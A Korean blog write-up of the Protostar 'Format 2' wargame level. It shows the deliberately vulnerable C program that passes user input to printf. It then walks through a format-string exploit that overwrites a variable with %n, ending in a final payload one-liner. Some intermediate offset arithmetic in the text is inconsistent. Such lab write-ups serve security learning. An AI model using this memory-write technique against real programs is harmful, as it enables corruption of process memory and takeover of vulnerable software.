Protostar - Format 2 (포맷 스트링 버그)
oolongeya
·2021. 9. 30. 14:38
Format2.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
if(target == 64) {
printf("you have modified the target :)\n");
} else {
printf("target is %d :(\n", target);
}
}
int main(int argc, char **argv)
{
vuln();
}
|
cs |
int형 target 변수
512 크기의 char 형 buffer를 선언
fgets로 입력한 값만큼 buffer에 내용을 저장
buffer를 출력
만약 target 변수의 값이 64 라면 성공
아니라면, targer is %d :( , targer 출력
사용자의 입력을 받고 이 값을 buffer에 저장한뒤 buffer에 있는 내용을 출력하는 printf 문이 있으므로,
포맷 스트링 버그를 이용하면 된다.
targer 변수의 주소를 확인하기 위해 먼저, 루트 터미널로 alsr 기능을 꺼준다.
08 04 96 e4 확인, \xe4\x96\x04\x08 리틀 인디안 방식
입력한 AAAA 값은, 200. f7fb0580, 0
즉 3개의 메모리 이후 입력된다.
즉 3번째 AAAA 이후 target의 주소값을 넣어준다.
입력값 이후 target의 주소가 잘 들어간 것을 확인하면 %n으로 target의 값을 변경하자.
200, f4fb0580, 0, 41414141, (target) 이므로
5번째 값이 target의 주소이고 이 곳에 %n을 넣는 것이다.
따라서
'AAAA' + 'target의 주소' + '%x.' * 4 + '%n.' 이다.
32가 나왔으므로 64를 맞추어주기 위해 +32를 뒤에서 더하면 된다.
먼저 알아보기 쉽게 %x. 를 %x 로 바꿔준다.
28이니, +38 이면 된다.
이런식으로 작성하면 된다.
따라서 최종 공격 명령어는
echo $(python -c print"('AAAA' + '\xe4\x96\x04\x08' + '%14x'*4 + '%n')") | ./format2
'시스템 해킹 (Pwnable) > Wargame' 카테고리의 다른 글
Protostar - Format 1 (포맷 스트링 버그) (0) | 2021.09.25 |
---|---|
Protostar - Format 0 (포맷 스트링 버그 + 버퍼 오버플로우) (0) | 2021.09.23 |
Protostar - Stack 7 (쉘 코드 + 버퍼 오버플로우 + RTL) (0) | 2021.09.12 |
Dreamhack(pwnable) - sint (0) | 2021.09.01 |
Protostar - Stack 6 (쉘 코드 + 버퍼 오버플로우 + RTL) (0) | 2021.09.01 |